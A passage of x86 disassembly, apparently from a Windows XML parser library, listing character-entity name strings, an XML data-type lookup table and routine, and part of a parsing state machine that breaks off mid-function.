unicode 0, <psi>,0
aProp: ; DATA XREF: .text:69B200D0o
unicode 0, <prop>,0
align 4
aProd: ; DATA XREF: .text:69B200C8o
unicode 0, <prod>,0
align 4
aPrime_0: ; DATA XREF: .text:69B200C0o
unicode 0, <prime>,0
aPound: ; DATA XREF: .text:69B200B8o
unicode 0, <pound>,0
aPlusmn: ; DATA XREF: .text:69B200B0o
unicode 0, <plusmn>,0
align 10h
aPiv: ; DATA XREF: .text:69B200A8o
unicode 0, <piv>,0
aPhi_0: ; DATA XREF: .text:69B20098o
unicode 0, <phi>,0
aPerp: ; DATA XREF: .text:69B20090o
unicode 0, <perp>,0
align 4
aPermil: ; DATA XREF: .text:69B20088o
unicode 0, <permil>,0
align 4
aPdf: ; DATA XREF: .text:69B20080o
unicode 0, <pdf>,0
aPart: ; DATA XREF: .text:69B20078o
unicode 0, <part>,0
align 10h
aPara: ; DATA XREF: .text:69B20070o
unicode 0, <para>,0
align 4
aOuml_0: ; DATA XREF: .text:69B20068o
unicode 0, <ouml>,0
align 4
aOtimes: ; DATA XREF: .text:69B20060o
unicode 0, <otimes>,0
align 4
aOtilde_0: ; DATA XREF: .text:69B20058o
unicode 0, <otilde>,0
align 4
aOslash_0: ; DATA XREF: .text:69B20050o
unicode 0, <oslash>,0
align 4
aOrdm: ; DATA XREF: .text:69B20048o
unicode 0, <ordm>,0
align 4
aOrdf: ; DATA XREF: .text:69B20040o
unicode 0, <ordf>,0
align 10h
aOplus: ; DATA XREF: .text:69B20030o
unicode 0, <oplus>,0
aOmicron_0: ; DATA XREF: .text:69B20028o
unicode 0, <omicron>,0
aOmega_0: ; DATA XREF: .text:69B20020o
unicode 0, <omega>,0
aOline: ; DATA XREF: .text:69B20018o
unicode 0, <oline>,0
aOgrave_0: ; DATA XREF: .text:69B20010o
unicode 0, <ograve>,0
align 4
aOelig_0: ; DATA XREF: .text:69B20008o
unicode 0, <oelig>,0
aOcirc_0: ; DATA XREF: .text:69B20000o
unicode 0, <ocirc>,0
aOacute_0: ; DATA XREF: .text:69B1FFF8o
unicode 0, <oacute>,0
align 4
aNu_0: ; DATA XREF: .text:69B1FFF0o
unicode 0, <nu>,0
align 4
aNtilde_0: ; DATA XREF: .text:69B1FFE8o
unicode 0, <ntilde>,0
align 4
aNsub: ; DATA XREF: .text:69B1FFE0o
unicode 0, <nsub>,0
align 10h
aNotin: ; DATA XREF: .text:69B1FFD8o
unicode 0, <notin>,0
aNods: ; DATA XREF: .text:69B1FFC8o
unicode 0, <nods>,0
align 4
aNi: ; DATA XREF: .text:69B1FFC0o
unicode 0, <ni>,0
align 10h
aNe_0: ; DATA XREF: .text:69B1FFB8o
unicode 0, <ne>,0
align 4
aNdash: ; DATA XREF: .text:69B1FFB0o
unicode 0, <ndash>,0
aNbsp: ; DATA XREF: .text:69B1FFA8o
unicode 0, <nbsp>,0
align 10h
aNads: ; DATA XREF: .text:69B1FFA0o
unicode 0, <nads>,0
align 4
aNabla: ; DATA XREF: .text:69B1FF98o
unicode 0, <nabla>,0
aMu_0: ; DATA XREF: .text:69B1FF90o
unicode 0, <mu>,0
align 10h
aMinus: ; DATA XREF: .text:69B1FF88o
unicode 0, <minus>,0
aMiddot: ; DATA XREF: .text:69B1FF80o
unicode 0, <middot>,0
align 4
aMicro: ; DATA XREF: .text:69B1FF78o
unicode 0, <micro>,0
aMdash: ; DATA XREF: .text:69B1FF70o
unicode 0, <mdash>,0
aMacr: ; DATA XREF: .text:69B1FF68o
unicode 0, <macr>,0
align 10h
aLsquo: ; DATA XREF: .text:69B1FF58o
unicode 0, <lsquo>,0
aLsaquo: ; DATA XREF: .text:69B1FF50o
unicode 0, <lsaquo>,0
align 4
aLro: ; DATA XREF: .text:69B1FF48o
unicode 0, <lro>,0
aLrm: ; DATA XREF: .text:69B1FF40o
unicode 0, <lrm>,0
aLre: ; DATA XREF: .text:69B1FF38o
unicode 0, <lre>,0
aLoz:
unicode 0, <loz>,0
aLowast: ; DATA XREF: .text:69B1FF28o
unicode 0, <lowast>,0
align 4
aLfloor: ; DATA XREF: .text:69B1FF20o
unicode 0, <lfloor>,0
align 4
aLe_0: ; DATA XREF: .text:69B1FF18o
unicode 0, <le>,0
align 4
aLdquo: ; DATA XREF: .text:69B1FF10o
unicode 0, <ldquo>,0
aLceil: ; DATA XREF: .text:69B1FF08o
unicode 0, <lceil>,0
aLarr_0: ; DATA XREF: .text:69B1FF00o
unicode 0, <larr>,0
align 4
aLaquo: ; DATA XREF: .text:69B1FEF8o
unicode 0, <laquo>,0
aLang: ; DATA XREF: .text:69B1FEF0o
unicode 0, <lang>,0
align 10h
aLambda_0: ; DATA XREF: .text:69B1FEE8o
unicode 0, <lambda>,0
align 10h
aLarr: ; DATA XREF: .text:69B1FEE0o
unicode 0, <lArr>,0
align 4
aKappa_0: ; DATA XREF: .text:69B1FED8o
unicode 0, <kappa>,0
aIuml_0: ; DATA XREF: .text:69B1FED0o
unicode 0, <iuml>,0
align 4
aIss: ; DATA XREF: .text:69B1FEC8o
unicode 0, <iss>,0
aIsin: ; DATA XREF: .text:69B1FEC0o
unicode 0, <isin>,0
align 4
aIquest: ; DATA XREF: .text:69B1FEB8o
unicode 0, <iquest>,0
align 4
aIota_0: ; DATA XREF: .text:69B1FEB0o
unicode 0, <iota>,0
align 4
aInfin: ; DATA XREF: .text:69B1FEA0o
unicode 0, <infin>,0
aImage: ; DATA XREF: .text:69B1FE98o
unicode 0, <image>,0
aIgrave_0: ; DATA XREF: .text:69B1FE90o
unicode 0, <igrave>,0
align 4
aIexcl: ; DATA XREF: .text:69B1FE88o
unicode 0, <iexcl>,0
aIcirc_0: ; DATA XREF: .text:69B1FE80o
unicode 0, <icirc>,0
aIafs: ; DATA XREF: .text:69B1FE78o
unicode 0, <iafs>,0
align 10h
aIacute_0: ; DATA XREF: .text:69B1FE70o
unicode 0, <iacute>,0
align 10h
aHellip: ; DATA XREF: .text:69B1FE68o
unicode 0, <hellip>,0
align 10h
aHearts: ; DATA XREF: .text:69B1FE60o
unicode 0, <hearts>,0
align 10h
aHarr_0: ; DATA XREF: .text:69B1FE58o
unicode 0, <harr>,0
align 4
aHarr: ; DATA XREF: .text:69B1FE50o
unicode 0, <hArr>,0
align 4
aGe_0: ; DATA XREF: .text:69B1FE40o
unicode 0, <ge>,0
align 10h
aGamma_0: ; DATA XREF: .text:69B1FE38o
unicode 0, <gamma>,0
aFrasl: ; DATA XREF: .text:69B1FE30o
unicode 0, <frasl>,0
aFrac34: ; DATA XREF: .text:69B1FE28o
unicode 0, <frac34>,0
align 4
aFrac14: ; DATA XREF: .text:69B1FE20o
unicode 0, <frac14>,0
align 4
aFrac12: ; DATA XREF: .text:69B1FE18o
unicode 0, <frac12>,0
align 4
aForall: ; DATA XREF: .text:69B1FE10o
unicode 0, <forall>,0
align 4
aFnof: ; DATA XREF: .text:69B1FE08o
unicode 0, <fnof>,0
align 4
aExist: ; DATA XREF: .text:69B1FE00o
unicode 0, <exist>,0
aEuml: ; DATA XREF: .text:69B1FDF8o
unicode 0, <euml>,0
align 4
aEth_0: ; DATA XREF: .text:69B1FDF0o
unicode 0, <eth>,0
aEta: ; DATA XREF: .text:69B1FDE8o
unicode 0, <eta>,0
aEquiv: ; DATA XREF: .text:69B1FDE0o
unicode 0, <equiv>,0
aEpsilon_0: ; DATA XREF: .text:69B1FDD8o
unicode 0, <epsilon>,0
aEnsp: ; DATA XREF: .text:69B1FDD0o
unicode 0, <ensp>,0
align 4
aEmsp: ; DATA XREF: .text:69B1FDC8o
unicode 0, <emsp>,0
align 10h
aEmpty_0: ; DATA XREF: .text:69B1FDC0o
; .data:69B92260o
unicode 0, <empty>,0
aEgrave_0: ; DATA XREF: .text:69B1FDB8o
unicode 0, <egrave>,0
align 4
aEcirc_0: ; DATA XREF: .text:69B1FDB0o
unicode 0, <ecirc>,0
aEacute_0: ; DATA XREF: .text:69B1FDA8o
unicode 0, <eacute>,0
align 4
aDivide: ; DATA XREF: .text:69B1FDA0o
unicode 0, <divide>,0
align 4
aDiams: ; DATA XREF: .text:69B1FD98o
unicode 0, <diams>,0
aDelta_0: ; DATA XREF: .text:69B1FD90o
unicode 0, <delta>,0
aDeg: ; DATA XREF: .text:69B1FD88o
unicode 0, <deg>,0
aDarr_0: ; DATA XREF: .text:69B1FD80o
unicode 0, <darr>,0
align 4
aDagger_0: ; DATA XREF: .text:69B1FD78o
unicode 0, <dagger>,0
align 4
aDarr: ; DATA XREF: .text:69B1FD70o
unicode 0, <dArr>,0
align 10h
aCurren: ; DATA XREF: .text:69B1FD68o
unicode 0, <curren>,0
align 10h
aCup: ; DATA XREF: .text:69B1FD60o
unicode 0, <cup>,0
aCrarr: ; DATA XREF: .text:69B1FD58o
unicode 0, <crarr>,0
aCopy_0: ; DATA XREF: .text:69B1FD50o
unicode 0, <copy>,0
align 10h
aCong: ; DATA XREF: .text:69B1FD48o
unicode 0, <cong>,0
align 4
aClubs: ; DATA XREF: .text:69B1FD40o
unicode 0, <clubs>,0
aCirc: ; DATA XREF: .text:69B1FD38o
unicode 0, <circ>,0
align 4
aChi_0: ; DATA XREF: .text:69B1FD30o
unicode 0, <chi>,0
aCent: ; DATA XREF: .text:69B1FD28o
unicode 0, <cent>,0
align 4
aCedil: ; DATA XREF: .text:69B1FD20o
unicode 0, <cedil>,0
aCcedil_0: ; DATA XREF: .text:69B1FD18o
unicode 0, <ccedil>,0
align 4
aCap: ; DATA XREF: .text:69B1FD10o
unicode 0, <cap>,0
aBull: ; DATA XREF: .text:69B1FD08o
unicode 0, <bull>,0
align 4
aBrvbar: ; DATA XREF: .text:69B1FD00o
unicode 0, <brvbar>,0
align 4
aBeta_0: ; DATA XREF: .text:69B1FCF8o
unicode 0, <beta>,0
align 4
aBdquo: ; DATA XREF: .text:69B1FCF0o
unicode 0, <bdquo>,0
aAuml_0: ; DATA XREF: .text:69B1FCE8o
unicode 0, <auml>,0
align 4
aAtilde_0: ; DATA XREF: .text:69B1FCE0o
unicode 0, <atilde>,0
align 4
aAsymp: ; DATA XREF: .text:69B1FCD8o
unicode 0, <asymp>,0
aAss: ; DATA XREF: .text:69B1FCD0o
unicode 0, <ass>,0
aAring_0: ; DATA XREF: .text:69B1FCC8o
unicode 0, <aring>,0
aAng: ; DATA XREF: .text:69B1FCB8o
unicode 0, <ang>,0
aAlpha_0: ; DATA XREF: .text:69B1FCA0o
unicode 0, <alpha>,0
aAlefsym: ; DATA XREF: .text:69B1FC98o
unicode 0, <alefsym>,0
aAgrave_0: ; DATA XREF: .text:69B1FC90o
unicode 0, <agrave>,0
align 10h
aAelig_0: ; DATA XREF: .text:69B1FC88o
unicode 0, <aelig>,0
aAcute: ; DATA XREF: .text:69B1FC80o
unicode 0, <acute>,0
aAcirc: ; DATA XREF: .text:69B1FC78o
unicode 0, <acirc>,0
aAafs: ; DATA XREF: .text:69B1FC70o
unicode 0, <aafs>,0
align 10h
aAacute_0: ; DATA XREF: .text:69B1FC68o
unicode 0, <aacute>,0
align 10h
aZeta: ; DATA XREF: .text:69B1FC60o
unicode 0, <Zeta>,0
align 4
aYuml: ; DATA XREF: .text:69B1FC58o
unicode 0, <Yuml>,0
align 4
aYacute: ; DATA XREF: .text:69B1FC50o
unicode 0, <Yacute>,0
align 4
aXi: ; DATA XREF: .text:69B1FC48o
unicode 0, <Xi>,0
align 10h
aUuml_0: ; DATA XREF: .text:69B1FC40o
unicode 0, <Uuml>,0
align 4
aUpsilon_0: ; DATA XREF: .text:69B1FC38o
unicode 0, <Upsilon>,0
aUgrave_0: ; DATA XREF: .text:69B1FC30o
unicode 0, <Ugrave>,0
align 4
aUcirc_0: ; DATA XREF: .text:69B1FC28o
unicode 0, <Ucirc>,0
aUacute_0: ; DATA XREF: .text:69B1FC20o
unicode 0, <Uacute>,0
align 4
aTheta: ; DATA XREF: .text:69B1FC18o
unicode 0, <Theta>,0
aTau: ; DATA XREF: .text:69B1FC10o
unicode 0, <Tau>,0
aTrade: ; DATA XREF: .text:69B1FC08o
unicode 0, <TRADE>,0
aThorn: ; DATA XREF: .text:69B1FC00o
unicode 0, <THORN>,0
aSigma_0: ; DATA XREF: .text:69B1FBF8o
unicode 0, <Sigma>,0
aScaron_0: ; DATA XREF: .text:69B1FBF0o
unicode 0, <Scaron>,0
align 10h
aRho: ; DATA XREF: .text:69B1FBE8o
unicode 0, <Rho>,0
aReg: ; DATA XREF: .text:69B1FBE0o
unicode 0, <REG>,0
aQuot_2: ; DATA XREF: .text:69B1FBD8o
unicode 0, <QUOT>,0
align 4
aPsi: ; DATA XREF: .text:69B1FBD0o
unicode 0, <Psi>,0
aPrime: ; DATA XREF: .text:69B1FBC8o
unicode 0, <Prime>,0
aPi_0: ; DATA XREF: .text:69B1FBC0o
unicode 0, <Pi>,0
align 4
aPhi: ; DATA XREF: .text:69B1FBB8o
unicode 0, <Phi>,0
aOuml: ; DATA XREF: .text:69B1FBB0o
unicode 0, <Ouml>,0
align 4
aOtilde: ; DATA XREF: .text:69B1FBA8o
unicode 0, <Otilde>,0
align 4
aOslash: ; DATA XREF: .text:69B1FBA0o
unicode 0, <Oslash>,0
align 4
aOmicron: ; DATA XREF: .text:69B1FB98o
unicode 0, <Omicron>,0
aOmega: ; DATA XREF: .text:69B1FB90o
unicode 0, <Omega>,0
aOgrave: ; DATA XREF: .text:69B1FB88o
unicode 0, <Ograve>,0
align 4
aOcirc: ; DATA XREF: .text:69B1FB80o
unicode 0, <Ocirc>,0
aOacute: ; DATA XREF: .text:69B1FB78o
unicode 0, <Oacute>,0
align 4
aOelig: ; DATA XREF: .text:69B1FB70o
unicode 0, <OElig>,0
aNu: ; DATA XREF: .text:69B1FB68o
unicode 0, <Nu>,0
align 4
aNtilde: ; DATA XREF: .text:69B1FB60o
unicode 0, <Ntilde>,0
align 4
aMu: ; DATA XREF: .text:69B1FB58o
unicode 0, <Mu>,0
align 10h
aLambda: ; DATA XREF: .text:69B1FB50o
unicode 0, <Lambda>,0
align 10h
aLt_3: ; DATA XREF: .text:69B1FB48o
unicode 0, <LT>,0
align 4
aKappa: ; DATA XREF: .text:69B1FB40o
unicode 0, <Kappa>,0
aIuml: ; DATA XREF: .text:69B1FB38o
unicode 0, <Iuml>,0
align 10h
aIota: ; DATA XREF: .text:69B1FB30o
unicode 0, <Iota>,0
align 4
aIgrave: ; DATA XREF: .text:69B1FB28o
unicode 0, <Igrave>,0
align 4
aIcirc: ; DATA XREF: .text:69B1FB20o
unicode 0, <Icirc>,0
aIacute: ; DATA XREF: .text:69B1FB18o
unicode 0, <Iacute>,0
align 4
aGamma: ; DATA XREF: .text:69B1FB10o
unicode 0, <Gamma>,0
aGt_3: ; DATA XREF: .text:69B1FB08o
unicode 0, <GT>,0
align 4
aEuml_0:
unicode 0, <Euml>,0
align 4
aEta_0:
unicode 0, <Eta>,0
aEpsilon: ; DATA XREF: .text:69B1FAF0o
unicode 0, <Epsilon>,0
aEgrave: ; DATA XREF: .text:69B1FAE8o
unicode 0, <Egrave>,0
align 10h
aEcirc: ; DATA XREF: .text:69B1FAE0o
unicode 0, <Ecirc>,0
aEacute: ; DATA XREF: .text:69B1FAD8o
unicode 0, <Eacute>,0
align 4
aEth: ; DATA XREF: .text:69B1FAD0o
unicode 0, <ETH>,0
aDelta: ; DATA XREF: .text:69B1FAC8o
unicode 0, <Delta>,0
aDagger: ; DATA XREF: .text:69B1FAC0o
unicode 0, <Dagger>,0
align 10h
aChi: ; DATA XREF: .text:69B1FAB8o
unicode 0, <Chi>,0
aCcedil: ; DATA XREF: .text:69B1FAB0o
unicode 0, <Ccedil>,0
align 4
aCopy: ; DATA XREF: .text:69B1FAA8o
unicode 0, <COPY>,0
align 4
aBeta: ; DATA XREF: .text:69B1FAA0o
unicode 0, <Beta>,0
align 10h
aAuml: ; DATA XREF: .text:69B1FA98o
unicode 0, <Auml>,0
align 4
aAtilde: ; DATA XREF: .text:69B1FA90o
unicode 0, <Atilde>,0
align 4
aAring: ; DATA XREF: .text:69B1FA88o
unicode 0, <Aring>,0
aAlpha: ; DATA XREF: .text:69B1FA80o
unicode 0, <Alpha>,0
aAgrave: ; DATA XREF: .text:69B1FA78o
unicode 0, <Agrave>,0
align 4
aAcirc_0:
unicode 0, <Acirc>,0
aAacute: ; DATA XREF: .text:69B1FA68o
unicode 0, <Aacute>,0
align 10h
aAmp_2: ; DATA XREF: .text:69B1FA60o
unicode 0, <AMP>,0
aAelig: ; DATA XREF: .text:off_69B1FA58o
unicode 0, <AElig>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B20F54 proc near ; CODE XREF: sub_69B14EAC+B3p
; sub_69B1BEB8+8B6Cp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
call sub_69B2F43C
cmp dword ptr [eax+8], 0
jnz short loc_69B20F6F
xor eax, eax
jmp locret_69B2100D
; ---------------------------------------------------------------------------
loc_69B20F6F: ; CODE XREF: sub_69B20F54+12j
push ebx
push esi
push edi
mov ecx, eax
call sub_69B2F202
mov edi, eax
mov eax, [edi+0Ch]
mov [ebp+var_8], eax
mov eax, [edi]
push edi
call dword ptr [eax+4]
push 12h
pop esi
push [ebp+var_8]
mov [ebp+var_C], 27h
push ds:off_69B210A8
mov ebx, offset off_69B21018
mov [ebp+var_4], 25h
jmp short loc_69B20FCC
; ---------------------------------------------------------------------------
loc_69B20FA8: ; CODE XREF: sub_69B20F54+81j
test esi, esi
jz short loc_69B20FDD
test eax, eax
jge short loc_69B20FB9
inc esi
sub [ebp+var_4], esi
lea ebx, [ebx+esi*8]
jmp short loc_69B20FBC
; ---------------------------------------------------------------------------
loc_69B20FB9: ; CODE XREF: sub_69B20F54+5Aj
mov [ebp+var_4], esi
loc_69B20FBC: ; CODE XREF: sub_69B20F54+63j
mov eax, [ebp+var_4]
push [ebp+var_8]
cdq
sub eax, edx
mov esi, eax
sar esi, 1
push dword ptr [ebx+esi*8]
loc_69B20FCC: ; CODE XREF: sub_69B20F54+52j
call sub_69B84A8E
test eax, eax
pop ecx
pop ecx
jnz short loc_69B20FA8
mov esi, [ebx+esi*8+4]
jmp short loc_69B20FE0
; ---------------------------------------------------------------------------
loc_69B20FDD: ; CODE XREF: sub_69B20F54+56j
mov esi, [ebp+var_C]
loc_69B20FE0: ; CODE XREF: sub_69B20F54+87j
mov eax, [edi]
push edi
call dword ptr [eax+8]
cmp [ebp+arg_4], 0
jz short loc_69B21008
cmp esi, 27h
jnz short loc_69B21008
push 0
push [ebp+arg_0]
push 0C00CE21Ch
push 80004005h
call sub_69B2E9D0
add esp, 10h
loc_69B21008: ; CODE XREF: sub_69B20F54+96j
; sub_69B20F54+9Bj
pop edi
mov eax, esi
pop esi
pop ebx
locret_69B2100D: ; CODE XREF: sub_69B20F54+16j
leave
retn 8
sub_69B20F54 endp
; ---------------------------------------------------------------------------
align 8
off_69B21018 dd offset aBin_base64 ; DATA XREF: sub_69B20F54+46o
; "bin.base64"
dd 0Ch
dd offset aBin_hex ; "bin.hex"
dd 0Dh
dd offset aBoolean ; "boolean"
dd 0Eh
dd offset aChar ; "char"
dd 0Fh
dd offset aDate ; "date"
dd 10h
dd offset aDatetime ; "datetime"
dd 11h
dd offset aDatetime_tz ; "datetime.tz"
dd 12h
dd offset aEntities ; "entities"
dd 6
dd offset aEntity_0 ; "entity"
dd 5
dd offset aEnumeration ; "enumeration"
dd 0Ah
dd offset aFixed_14_4 ; "fixed.14.4"
dd 13h
dd offset aFloat ; "float"
dd 14h
dd offset aFloat_ieee_754 ; "float.ieee.754.32"
dd 15h
dd offset aFloat_ieee_7_0 ; "float.ieee.754.64"
dd 16h
dd offset aI1 ; "i1"
dd 17h
dd offset aI2 ; "i2"
dd 18h
dd offset aI4 ; "i4"
dd 19h
dd offset aI8 ; "i8"
dd 1Ah
off_69B210A8 dd offset aId ; DATA XREF: sub_69B20F54+40r
; "id"
dd 2
dd offset aIdref ; "idref"
dd 3
dd offset aIdrefs ; "idrefs"
dd 4
dd offset aInt ; "int"
dd 1Bh
dd offset aNmtoken ; "nmtoken"
dd 7
dd offset aNmtokens ; "nmtokens"
dd 8
dd offset aNotation_0 ; "notation"
dd 9
dd offset aNumber ; "number"
dd 1Ch
dd offset aR4 ; "r4"
dd 1Dh
dd offset aR8 ; "r8"
dd 1Eh
dd offset aString ; "string"
dd 1
dd offset aTime ; "time"
dd 1Fh
dd offset aTime_tz ; "time.tz"
dd 20h
dd offset aUi1 ; "ui1"
dd 21h
dd offset aUi2 ; "ui2"
dd 22h
dd offset aUi4 ; "ui4"
dd 23h
dd offset aUi8 ; "ui8"
dd 24h
dd offset aUri ; "uri"
dd 25h
dd offset aUuid_0 ; "uuid"
dd 26h
aFloat_ieee_7_0: ; DATA XREF: .text:69B21080o
unicode 0, <float.ieee.754.64>,0
aFloat_ieee_754: ; DATA XREF: .text:69B21078o
unicode 0, <float.ieee.754.32>,0
aDatetime_tz: ; DATA XREF: .text:69B21048o
unicode 0, <datetime.tz>,0
aDatetime: ; DATA XREF: .text:69B21040o
unicode 0, <datetime>,0
align 4
aUuid_0: ; DATA XREF: .text:69B21138o
; .data:69B96428o
unicode 0, <uuid>,0
align 10h
aUri: ; DATA XREF: .text:69B21130o
; .data:69B96424o
unicode 0, <uri>,0
aUi8: ; DATA XREF: .text:69B21128o
; .data:69B96420o
unicode 0, <ui8>,0
aUi4: ; DATA XREF: .text:69B21120o
; .data:69B9641Co
unicode 0, <ui4>,0
aUi2: ; DATA XREF: .text:69B21118o
; .data:69B96418o
unicode 0, <ui2>,0
aUi1: ; DATA XREF: .text:69B21110o
; .data:69B96414o
unicode 0, <ui1>,0
aTime_tz: ; DATA XREF: .text:69B21108o
; .data:69B96410o
unicode 0, <time.tz>,0
aTime: ; DATA XREF: .text:69B21100o
; .data:69B9640Co
unicode 0, <time>,0
align 4
aR8: ; DATA XREF: .text:69B210F0o
; .data:69B96408o
unicode 0, <r8>,0
align 4
aR4: ; DATA XREF: .text:69B210E8o
; .data:69B96404o
unicode 0, <r4>,0
align 4
aInt: ; DATA XREF: .text:69B1FEA8o
; .text:69B210C0o ...
unicode 0, <int>,0
aI8: ; DATA XREF: .text:69B210A0o
; .data:69B963F8o
unicode 0, <i8>,0
align 4
aI4: ; DATA XREF: .text:69B21098o
; .data:69B963F4o
unicode 0, <i4>,0
align 4
aI2: ; DATA XREF: .text:69B21090o
; .data:69B963F0o
unicode 0, <i2>,0
align 4
aI1: ; DATA XREF: .text:69B21088o
; .data:69B963ECo
unicode 0, <i1>,0
align 4
aFloat: ; DATA XREF: .text:69B21070o
; .data:69B963E0o
unicode 0, <float>,0
aFixed_14_4: ; DATA XREF: .text:69B21068o
; .data:69B963DCo
unicode 0, <fixed.14.4>,0
align 10h
aChar: ; DATA XREF: .text:69B21030o
; .data:69B963CCo
unicode 0, <char>,0
align 4
aBin_hex: ; DATA XREF: .text:69B21020o
; .data:69B963C4o
unicode 0, <bin.hex>,0
aBin_base64: ; DATA XREF: .text:off_69B21018o
; .data:69B963C0o
unicode 0, <bin.base64>,0
align 4
aEnumeration: ; DATA XREF: .text:69B21060o
; .data:69B922ACo ...
unicode 0, <enumeration>,0
aNotation_0: ; DATA XREF: .text:69B210D8o
; .data:69B963B4o ...
unicode 0, <notation>,0
align 10h
aNmtokens: ; DATA XREF: .text:69B210D0o
; .data:69B922A8o ...
unicode 0, <nmtokens>,0
align 4
aNmtoken: ; DATA XREF: .text:69B210C8o
; .data:69B922A4o ...
unicode 0, <nmtoken>,0
aEntities: ; DATA XREF: .text:69B21050o
; .data:69B922A0o ...
unicode 0, <entities>,0
align 4
aEntity_0: ; DATA XREF: .text:69B21058o
; .data:69B9229Co ...
unicode 0, <entity>,0
align 4
aIdrefs: ; DATA XREF: .text:69B210B8o
; .data:69B92298o ...
unicode 0, <idrefs>,0
align 4
aIdref: ; DATA XREF: .text:69B210B0o
; .data:69B92294o ...
unicode 0, <idref>,0
aId: ; DATA XREF: .text:off_69B210A8o
; .text:69B5EE30o ...
unicode 0, <id>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2132A proc near ; CODE XREF: sub_69B347D3+18Cj
; sub_69B3576E+CBj
; DATA XREF: ...
var_8 = byte ptr -8
lpStr2 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
cmp eax, 0Ch ; switch 13 cases
push edi
ja loc_69B2173E ; default
jmp ds:off_69B21748[eax*4] ; switch jump
loc_69B21348: ; DATA XREF: .text:off_69B21748o
mov al, [esi+0A8h] ; jumptable 69B21341 case 0
test al, al
mov [esi+0B1h], al
mov byte ptr [esi+8Dh], 0
jnz short loc_69B21371
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B21378
; ---------------------------------------------------------------------------
loc_69B21371: ; CODE XREF: sub_69B2132A+33j
mov ecx, esi
call sub_69B34A8C
loc_69B21378: ; CODE XREF: sub_69B2132A+45j
test eax, eax
jnz loc_69B21743
mov ecx, [esi+34h]
call sub_69B35F5B
test eax, eax
jl loc_69B21743
mov ecx, [esi+34h]
push 0
call sub_69B318D1
mov ax, [esi+52h]
cmp ax, 78h
jz short loc_69B21401
cmp ax, 58h
jz short loc_69B21401
mov word ptr [esi+4], 1
loc_69B213B0: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
push 2 ; jumptable 69B21341 case 1
push offset sub_69B32791
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B21743
mov ecx, esi
call sub_69B32791
test eax, eax
jl loc_69B21743
mov word ptr [esi+4], 2
loc_69B213DB: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
cmp byte ptr [esi+5Ch], 0 ; jumptable 69B21341 case 2
jnz loc_69B214F7
cmp word ptr [esi+52h], 3Fh
jz short loc_69B2140C
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jz short loc_69B2140C
mov eax, 0C00CE505h
jmp loc_69B21743
; ---------------------------------------------------------------------------
loc_69B21401: ; CODE XREF: sub_69B2132A+78j
; sub_69B2132A+7Ej
mov word ptr [esi+4], 7
jmp loc_69B2173A
; ---------------------------------------------------------------------------
loc_69B2140C: ; CODE XREF: sub_69B2132A+C0j
; sub_69B2132A+CBj
push 3
pop eax
mov [esi+44h], eax
mov [esi+4], ax
jmp loc_69B2173A
; ---------------------------------------------------------------------------
loc_69B2141B: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
lea edi, [esi+52h] ; jumptable 69B21341 case 3
cmp word ptr [edi], 3Fh
jnz short loc_69B21466
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B2143C
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
push edi
call sub_69B35FE4
jmp short loc_69B21443
; ---------------------------------------------------------------------------
loc_69B2143C: ; CODE XREF: sub_69B2132A+101j
mov ecx, esi
call sub_69B34A8C
loc_69B21443: ; CODE XREF: sub_69B2132A+110j
test eax, eax
jnz loc_69B21743
cmp word ptr [edi], 3Eh
jnz short loc_69B2145C
mov word ptr [esi+4], 6
jmp loc_69B2173A
; ---------------------------------------------------------------------------
loc_69B2145C: ; CODE XREF: sub_69B2132A+125j
mov eax, 0C00CE50Ah
jmp loc_69B21743
; ---------------------------------------------------------------------------
loc_69B21466: ; CODE XREF: sub_69B2132A+F8j
push 4
push offset sub_69B3254F
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B21743
mov ecx, esi
call sub_69B3254F
test eax, eax
jl loc_69B21743
mov word ptr [esi+4], 4
loc_69B21491: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
mov ecx, [esi+34h] ; jumptable 69B21341 case 4
push 0
call sub_69B318D1
mov word ptr [esi+4], 5
loc_69B214A1: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
lea edi, [esi+5Ch] ; jumptable 69B21341 case 5
cmp byte ptr [edi], 0
jnz short loc_69B214E9
lea ebx, [esi+52h]
loc_69B214AC: ; CODE XREF: sub_69B2132A+1BDj
xor eax, eax
mov ax, [ebx]
cmp ax, 3Fh
jz short loc_69B21501
push eax
call sub_69B319A7
test eax, eax
jz short loc_69B21526
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B214D6
mov ecx, [esi+34h]
push edi
push ebx
call sub_69B35FE4
jmp short loc_69B214DD
; ---------------------------------------------------------------------------
loc_69B214D6: ; CODE XREF: sub_69B2132A+19Ej
mov ecx, esi
call sub_69B34A8C
loc_69B214DD: ; CODE XREF: sub_69B2132A+1AAj
test eax, eax
jnz loc_69B21743
cmp [edi], al
jz short loc_69B214AC
loc_69B214E9: ; CODE XREF: sub_69B2132A+17Dj
; sub_69B2132A+1F5j
mov word ptr [esi+4], 6
loc_69B214EF: ; CODE XREF: sub_69B2132A+17j
; DATA XREF: .text:off_69B21748o
lea eax, [esi+5Ch] ; jumptable 69B21341 case 6
cmp byte ptr [eax], 0
jz short loc_69B21530
loc_69B214F7: ; CODE XREF: sub_69B2132A+B5j
mov eax, 0C00CE55Dh
jmp loc_69B21743
; ---------------------------------------------------------------------------
loc_69B21501: ; CODE XREF: sub_69B2132A+18Bj
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B21516
mov ecx, [esi+34h]
push edi
push ebx
call sub_69B35FE4
jmp short loc_69B2151D
; ---------------------------------------------------------------------------
